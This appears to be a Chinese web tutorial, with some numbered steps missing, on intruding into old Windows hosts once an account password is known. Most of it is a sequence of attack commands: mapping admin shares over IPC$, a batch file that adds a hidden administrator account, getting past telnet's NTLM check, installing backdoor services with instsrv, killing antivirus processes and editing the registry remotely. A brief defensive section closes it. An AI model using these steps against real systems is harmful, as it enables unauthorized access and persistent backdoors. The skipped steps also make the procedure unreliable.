當(dāng)前網(wǎng)絡(luò)設(shè)備基本上都是依靠"認(rèn)證"來實(shí)現(xiàn)身份識(shí)別和安全防范，基于"賬號(hào)/密碼"的人證最為常見。下面我們是假設(shè)一臺(tái)主機(jī)的賬號(hào)或密碼被掌握后進(jìn)行的攻擊。當(dāng)然這也可以作為當(dāng)利用系統(tǒng)某些漏洞以管理員身份進(jìn)行系統(tǒng)后的一些入侵手段。
2，映射網(wǎng)絡(luò)驅(qū)動(dòng)器：net use z: \\IP\C$
3，建立批處理文件：（另存為add.bat）
增加用戶：net user username password /add
增加組的權(quán)限：net localgroup administrators username /add
4，拷貝至遠(yuǎn)程機(jī)器：copy add.bat \\IP\D
7，關(guān)閉IPC$連接：net use * /delete
到這里已經(jīng)可以發(fā)現(xiàn)給遠(yuǎn)程機(jī)器添加了一個(gè)具有administrator權(quán)限的用戶
8，刪除用戶：net user username /delete
9，刪除文件：del \\IP\d\add.bat
上面是建立在知道用戶名和密碼的基礎(chǔ)上的，
二：telnet入侵：
1，為遠(yuǎn)程機(jī)器開啟telnet服務(wù)并且進(jìn)行telent登陸，這個(gè)主要有下面幾種方法
1，這個(gè)可以依照我們上面的辦法，無非是寫.bat文件（net start telnet），然后新建任務(wù)令其執(zhí)行，但是開啟telnet服務(wù)后直接用telnet IP命令是不行的。由于telnet功能實(shí)在是太強(qiáng)大，而且入侵者使用最頻繁的登陸手段之一，因此微軟為telnet添加了身份驗(yàn)證，成為NTLM驗(yàn)證，故要進(jìn)行telnet攻擊，必須先繞過NTLM驗(yàn)證。在本地計(jì)算機(jī)上建立一個(gè)與遠(yuǎn)程電腦上相同的賬號(hào)和密碼。開始->程序->附件->命令提示符里面把以其它用戶身份運(yùn)行點(diǎn)上。再一次啟動(dòng)命令提示符，選上剛剛添加的賬號(hào)就可以用telnet IP這個(gè)命令了
3，使用軟件命令，opentelnet \\IP username password NTLM驗(yàn)證方式(0,1,2)設(shè)置的端口號(hào)。這樣就可以取消NTLM的驗(yàn)證，并且將telnet的服務(wù)端口更改了。假如需要恢復(fù)NTLM驗(yàn)證，使用命令 resumetelnet \\IP name password
當(dāng)可以使用telnet以后，下面的任務(wù)就簡(jiǎn)單了，能進(jìn)行所有的命令了，下面介紹比較常用的進(jìn)一步設(shè)置后門的辦法。
1，利用IPC$將文件add.bat,，aproman.exe，instsrv.exe拷貝到遠(yuǎn)程電腦中
2，用telnet命令將上面三個(gè)文件全部剪切至system32下，并且換個(gè)名字。
3，將add.bat設(shè)置為系統(tǒng)的自動(dòng)服務(wù)，instsrv 服務(wù)名稱 c:\winnt\system32\add.bat
4，將telnet服務(wù)設(shè)置為系統(tǒng)的自動(dòng)服務(wù)，instsrv 服務(wù)名稱 c:\winnt\system32\tlntsvr.exe
假若遠(yuǎn)程電腦有防火墻病毒軟件之類的，可以直接用aproman.exe查看，并且結(jié)束進(jìn)程
若要移除服務(wù)，可用instsrv 服務(wù)名 remove
三：遠(yuǎn)程修改注冊(cè)表（寫.reg文件，然后直接用regedit /s reg文件名命令執(zhí)行）
1，添加主鍵
REGEDIT4
[HKEY_CURRENT_USER\Software\HACK]
2，添加鍵值項(xiàng)
"NAME"=DWORD:00000000
3，刪除鍵值項(xiàng)
REGEDIT4
[HKEY_CURRENT_USER\Software\HACK]
"NAME"=-
4，刪除主鍵
REGEDIT4
[-HKEY_CURRENT_USER\Software\HACK]
解決辦法：現(xiàn)在我們從上面可以看出密碼的重要性了，其實(shí)一切攻擊來源于管理員的疏忽以及共享資源的設(shè)置。
1，刪除默認(rèn)的共享資源，這樣有下面幾種方法：
1，net share ipc$ /del , 不過這種方法在重啟后就無效了，建議寫成.bat文件，每次開機(jī)均運(yùn)行。
2，修改注冊(cè)表2000服務(wù)器下[HEKY_LOCAL_MACHINE\SYSTEM\CurrentControl\Service\Lanmanservers\parameters]
新建：AutoShareServer，DWORD，0。工作站下：AutoShareWks,若要恢復(fù)則將該鍵刪除即可
3，關(guān)閉server服務(wù)，不過這樣就不太適合于服務(wù)器，只適合于個(gè)人版
2，保證賬號(hào)密碼的強(qiáng)壯性，防止被暴力破解
3，使用netstat -an檢查開放的端口，把不必要的端口全部關(guān)掉
4，檢查本機(jī)已經(jīng)啟動(dòng)的服務(wù)項(xiàng)目，禁用telnet服務(wù)
聯(lián)系客服
